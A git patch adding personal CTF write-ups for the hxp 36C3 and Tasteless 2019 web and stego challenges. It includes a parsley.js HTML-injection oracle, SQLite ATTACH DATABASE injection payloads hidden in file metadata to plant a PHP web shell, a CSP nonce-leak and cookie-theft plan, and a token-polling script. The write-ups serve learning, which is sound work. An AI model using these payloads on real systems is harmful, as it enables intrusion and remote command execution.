From 21ec87ba56afc0ab861de5c946aa048da248661a Mon Sep 17 00:00:00 2001 From: Daniel Haider Date: Mon, 13 Jan 2020 17:19:46 +0000 Subject: [PATCH] add writeups --- writeups/ferdl/hxp_36c3.md | 213 ++++++++++++++++++++++++++++++++ writeups/ferdl/spent_time.md | 16 +++ writeups/ferdl/tasteless2019.md | 122 ++++++++++++++++++ 3 files changed, 351 insertions(+) create mode 100644 writeups/ferdl/hxp_36c3.md create mode 100644 writeups/ferdl/spent_time.md create mode 100644 writeups/ferdl/tasteless2019.md diff --git a/writeups/ferdl/hxp_36c3.md b/writeups/ferdl/hxp_36c3.md new file mode 100644 index 0000000..4c1e372 --- /dev/null +++ b/writeups/ferdl/hxp_36c3.md @@ -0,0 +1,213 @@ +# Retrospective +The hxp 36C3 ctf contest was a very well organised one, although the time (2019-12-27 - 2019-12-29) was not ideal +for me so I couldn't spend that much time actually participating during the CTF. + +However, after getting some initial footholds in some of the challenges it was more than interesting to read up +on the writeups to see where I went into the right direction and where I was completely wrong. + +# Attempted Challenges + +## web-WriteupBin + +This is a service where one can Publish a Writeup with at least 140 characters. +After submitting it, the writeup gets a random ID (e.g. b2f9cf1d5be42d24) and +is reachable at `http://78.46.216.67:8001/show.php?id=b2f9cf1d5be42d24`. +It can be liked by other users and shown to the admin. The input is checked for +the characters `<` and `>`, if it contains any of them the input is invalid. + +There is one cookie present, PHPSESSID and the username is tied to it. +Upon deleting the cookie, one gets a new random username assigned. + +The CSP header is the following: +`Content-Security-Policy: default-src 'none'; script-src 'nonce-ZDljYWY4Y2Q4NGU2NzE1Mw==' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.0/jquery.min.js https://cdnjs.cloudflare.com/ajax/libs/parsley.js/2.8.2/parsley.min.js; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; require-sri-for script style;` + +Nothing obvious stands out so far... + +I tried circumventing the frontend validation using curl, which worked: + +``` +curl 'http://78.46.216.67:8001/add.php' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Upgrade-Insecure-Requests: 1' -H 'Origin: null' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6,ro;q=0.5' -H 'Cookie: PHPSESSID=ffeh8ono3qi73qot4bttann27i' --data 'c=f63d858d616898df&content=No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.No+captcha+required+for+preview.+Please%2C+do+not+write+just+a+link+to+original+writeup+here.%0D%0A' --compressed --insecure +``` + +However, the script got blocked because of the CSP. + +I thought about the gabbr challenge from tasteless where we had to leak the +nonce value with style injections +(https://w0y.at/writeup/2019/10/27/tasteless-2019-gabbr.html), but this isn't +possible here due to the fact that the CSP blocks all style and image sources. + +Another colleague also pointed out this meta header in the html: +`` + +It might also suggest using some style injection to leak the nonce but I couldn't +figure out anything which would actually work given the limited possibilities. + +I also looked at some of the nonces to see whether they would not be random, +but they did seem to be truly random... + +Looking back at the html form there is an additional hidden field 'c' which is +also tied to the session. + +Investigating the source code it is used as some kind of csrf protection: +``` +if( (strtoupper($_SERVER['REQUEST_METHOD']) == 'POST' || count($_POST)) && (! hash_equals($_SESSION['c'], $_POST['c']))) { + die('csrf failed'); +} +``` + +I tried finding any CSP bypasses related to the parsley library but could not +find anything useful. +On the show page where we could inject some fields with parsley attributes +there's no parsley used and on the main page where parsley is used on the +`#publish-form` the injected html won't be displayed so no chance there. + +### After the ctf + +After the CTF I read some writeups and the intended solution indeed was using the parsley library (https://ctftime.org/writeup/17891) +I didn't think about injecting a custom form which gets validated automatically... 🤦‍ + +To get the flag one has to know the following things: + - The flag was stored in a writeup published by the admin + - When viewing **any** writeup, all your own published writeups are rendered on the page with their ID + - Everyone can view any writeups + - When you show the admin your writeup he likes it, more specifically he presses the first button in the DOM + with the id 'like' + +Because of those three points it was clear that we had to leak the ID(s) of the admin's published writeup(s) +I knew already how to inject arbitrary HTML code, now it was just using the right parsley methods to: + - place a button with ID 'like' **before** the actual like button + - Use a jquery selector to trigger different events based on the presence of a character in the rendered own writeups + +Doing this serves as an oracle with which we can leak the admin's writeups character by character. + +The useful parsley methods with which we can achieve this are the following: + +- `data-parsley-errors-container` This specifies the container in which error messages when validating an input are shown +- `data-parsley-error-message` This specifies the error message which gets rendered when a validation fails +- `data-parsley-trigger` With this we can achieve the validation **before** the admin clicks the actual like button + +The form we inject looks like this: +``` +
+ + +
+``` + +This renders a form which gets validated with the trigger blur, i.e. after the element looses its focus. +Because it also has autofocus on it, it will be rendered very early, which is important because it has to be validated +before the admin clicks on the actual like button. + +The validation will always fail because it has `data-parsley-required` and the field will always be empty. +Using the `data-parsley-errors-container` in conduction with the `a:contains('Writeup - {payload}'):eq(0)` +a like button is placed under the writeup link if the payload matches. This like button will be placed before the +actual like button, so if the guessed character is correct, the admin will press this like button instead of the +real one. If the guessed character is not correct, the real like button will be pressed and our writeup will be liked. +Because of those two differing behaviours the ID can be leaked character by character. + +## web-FileMagician + +Because I got stuck with the WriteupBin challenge I went on to the next web challenge. + +FileMagician is a very simple file hosting solution. Upon visiting the website +(http://78.47.152.131:8000/) one is presented with a file chooser button and +an upload button. + +The source code was also given for this challenge. The interesting part of it is the sql +query for inserting the uploaded file into the database: +``` +if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){ + $s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');"; + $db->exec($s); + move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) || die('move_upload_file'); +} +``` + +This looks very much like an SQL Injection is possible if one can manipulate the output of PHP's +finfo_file() command. + +I read the documentation on the command but could not find anything useful. I also fiddled around +with symlinks because someone mentioned it in the mattermost channel but all I could do with that +is trigger the `die('move_upload_file')` command. + +I came back later and someone already solved it with an SQL injection through a specially crafted magic +file: + +``` +content = open("closing.sid", "rb").read() + +exploit = [_ for _ in content] + +#payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;CREATE TABLE k.b (c text);-- -" # works!!! +payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;DELETE FROM k.b;--" # works!!! +#payload = "');ATTACH DATABASE '/var/www/html/files/k.php' AS k;INSERT INTO k.b VALUES('" # works!!! +offset = content.find("1990") + +for char in payload: + exploit[offset] = char + offset += 1 + +exploit[offset] = '\x00' + +open("exploit.sid", "w+b").write("".join(exploit)) +``` + +### After the CTF + +Although we had solved this challenge during the CTF it was not totally clear to me how it worked. +So again, I read up on some writeups after the ctf was over. + +I already knew that I had to manipulate the file in such a way that the `file` command would inject some SQL. +Apparently there are lots of different possibilities in doing so: + +#### jpg +When doing the `file` command on a jpg the exif image data is printed as well. +A jpg can be created with the command `convert -size 32x32 xc:white empty.jpg` from ImageMagick. + +This results in the following output of `file empty.jpg`: +``` +empty.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 32x32, components 1 +``` +However, if we add a comment with `exiftool -Comment="hello injection" empty.jpg` it will be printed in the file output as well: +``` +empty.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "hello injection", baseline, precision 8, 32x32, components 1 +``` +#### gz +In gz the original filename is included when the file command is used: `touch temp && gzip temp && file temp.gz` prints +``` +temp.gz: gzip compressed data, was "temp", last modified: Mon Jan 13 16:01:06 2020, from Unix, original size modulo 2^32 0 +``` +Notice the 'was "temp"'. This string can simply be changed in any file editor to include our SQL injection. +#### shebang +Another solution to let the file command print arbitrary strings is using a shebang: A normal python shebang `#!/bin/usr/env python` +will be printed like this when using the file command: +``` +temp: a /bin/usr/env python script, ASCII text executable +``` +Thus, if we use another shebang, i.e. `#!/hello injection` we can inject an arbitrary string: +``` +temp: a /hello injection script, ASCII text executable +``` + +#### Exploit +Now that we know how to inject our SQL it is time to ask *what* to inject. This site lists some injections for +SQLite databases: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md +In SQLite one can reach remote command execution using the `ATTACH DATABASE` directive: +``` +ATTACH DATABASE '/var/www/lol.php' AS lol; +CREATE TABLE lol.pwn (dataz text); +INSERT INTO lol.pwn (dataz) VALUES ('');-- +``` +This attaches (or creates if it doesn't exist) the sqlite database (i.e. the file) `/var/www/lol.php` where a table +is created and the value `` is inserted. Upon calling this file via the web browser, +the php is interpreted and we achieve command execution! + +With this it was possible to achieve a little shell via get parameters. Since there was a size limit one had to split the payload into two files: +``` +');ATTACH DATABASE 'x.php' AS lol; CREATE TABLE lol.pwn (dataz text);-- +');ATTACH DATABASE 'x.php' AS lol; INSERT INTO lol.pwn (dataz) VALUES ('');-- +``` + +It was then possible to call the php file and call arbitrary commands using the GET parameter 1: `1=cat%20/flag*` diff --git a/writeups/ferdl/spent_time.md b/writeups/ferdl/spent_time.md new file mode 100644 index 0000000..8e8967c --- /dev/null +++ b/writeups/ferdl/spent_time.md @@ -0,0 +1,16 @@ +I played 2 on-site ctfs (ructfe and hack.lu) and 2 off-site for which I approximately spent the following hours: + +## Tasteless + +| Challenge | Time | +| ---------- |:-----| +| Gabbr | 10h | +| RGB | 5h | +| Timewarp | 5h | + +## hxp 36C3 + +| Challenge | Time | +| ------------ |:-----| +| WriteupBin | 15h | +| FileMagician | 5h | diff --git a/writeups/ferdl/tasteless2019.md b/writeups/ferdl/tasteless2019.md new file mode 100644 index 0000000..73ca3ec --- /dev/null +++ b/writeups/ferdl/tasteless2019.md @@ -0,0 +1,122 @@ +# Retrospective +Tasteless was a very cool CTF, with very challenging tasks. Although I couldn't contribute too much because +I don't have that much experience, the skill level was demanding enough to actually learn a lot of new stuff. + +The timewarp challenge was also a very interesting (and funny!) one, which I think was the first ctf exploiting the fact of +the fact that there's a time change happening during the ctf. + +Overall it was a very pleasant experience and I was able to learn a lot of new stuff :) +# Attempted Challenges +## web-gabbr + +Gabbr is a website implementing a simple chat functionality with WebSockets. +Every room has a different UUID, e.g. https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d +If nothing is specified, a new one is generated. +There also is a report functionality where an admin joins into the room, stays for 15 seconds and then posts an image that there's nothing to see. + +The idea is to post some xss (e.g. ``) which the admin then executes, however the CSP doesn't let us execute Javascript: +`Refused to execute inline event handler because it violates the following Content Security Policy directive: "script-src 'nonce-0f9635147014ab5895de26c6'". Either the 'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') is required to enable inline execution.` + +So every Javascript code must have the correct set in order to be executed. +We thought long about how to leak the nonce from the website and eventually found this link: https://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html + +The idea is to inject some css which sets background-url images to a server we control. When the admin then joins the room he will make calls to our server with the characters of the nonce. +This nonce can then be used to inject the JS to send the admin cookie to us. The comrades further tried to solve this challenge and I went on to some stego challenges. + +Next day I came back to this challenge and we managed to solve it! +The full script which was running can be found here: https://w0y.at/writeup/2019/10/27/tasteless-2019-gabbr.html + +## stego-rgb +RGB was a stego challenge where a pcap network dump was given in which three flags were hidden: r, g and b. +By analysing the network dump with wireshark I found a GET request to `ctf.tasteless.eu/stegano` which responded with a PNG image file. +I exported the image out of the dump with wireshark and put it inside Stegsolver. It showed some hints at some color panes which apparently are references to RFC articles: +``` +Red plane 0: +2616 +Category: Standards Track +== HTTP1.1 +Green plane 0: +2083 +Category: Informational +== PNG +Blue plane 0: +1951 +Category: Informational +== DEFLATE +``` + +I read all the RFC articles trying to find some hints but I couldn't find anything useful. +After some time a colleague mentioned that it's kind of weird that the response to the GET request where the image is transmitted is chunked. +The flag is hidden in there! +Each chunk starts with 1000; followed by a character. By following the TCP stream in wireshark and searching for "1000;" one can easily obtain the flag. +It was: `tctf{NoB0dy_3xPec7s_chUnK_ex7En5iOnz}` + +The next flag was stored in the CRC fields of the IDAT chunks in the PNG image. It was solved by a colleague, however I couldn't gather more information on it from the mattermost channel. + +## web-timewarp +There are 2 endpoints on the website, /token and /timewarp. +At /token you can get a token which must be submitted at /timewarp, however it is only valid for 5 seconds. When submitting the token the server sends some lines and takes 1 second per line, only after several seconds the message "oh no! too slow! your token is not valid anymore :(" appears. + +So we somehow have to make this token valid for a longer period. Let's look at the token: +```Z2l2ZUZsYWcvRXVyb3BlL0Jlcmxpbg==.U2F0IE9jdCAyNiAxNzowOTo0NCAyMDE5.zCCIicp0CJdsvvoBiR34JHPeEufJej1MwyzfH3x7O_oyWpjftaMM0RFjd7yb4vVxSKG0CkIRaXrZfCgSIG3ADQ==``` + +which is +```giveFlag/Europe/Berlin.Sat Oct 26 17:09:44 2019. tl$sz=L,|{:7h4DX&\R(mZ^``` when base64 decoded. + +The structure is something like "giveFlag/Timezone.Timestamp.Gibberish" + +Obviously we can try to change the time and submit it, however this results in: "oh no! what happened to your integrity?" +So there's probably a checksum in the gibberish part of the token which we also must manipulate... + +So we need to figure out what the gibberish in the token means... but here I got stuck. + +Another idea is based on the fact that in the night the daylight's saving time ends which means that the clock is gonna be set back one hour. +So maybe one can generate a token before the change and then you have a 1-hour window where the token is valid. +The challenge description "!!! challenge will shutdown at approx 02:30 UTC !!!" also hints at that... + +A colleague wrote a script which tried getting a token and submitting it every 10 minutes: + +``` +#!/usr/bin/python3 + +import requests +import re +from datetime import datetime +import time + +server = 'http://hitme.tasteless.eu:10101' +get_token_path = '/token' + +def get_token(): + + r = requests.get(server + get_token_path) + response = r.text + + match = re.search(r'href=\"(.+)\".*', response) + if(match): + use_token_path = match.groups()[0] + return(server + use_token_path) + else: + return None + +def use_token(use_token_url): + r = requests.get(use_token_url) + response = r.text + return response + +tokens = {} +while(datetime.now() < datetime(2019, 10, 27, 4, 15)): + if(datetime.now() > datetime(2019,10,27, 1, 50)): + new_token = get_token() + if(new_token): + tokens[datetime.now()] = new_token + + for timestamp in tokens.keys(): + response = use_token(tokens[timestamp]) + print("Token acquired at '{0}' lead to the following response when used at '{1}':\n\n{2}\n".format(timestamp, datetime.now(), response)) + + print('------- Going to sleep ------\n\n') + time.sleep(60 * 10) +``` + +It worked like a charm. However, I think someone else solved it manually first, at least according to the mattermost channel. Unfortunately I wasn't up at that time. -- 2.43.0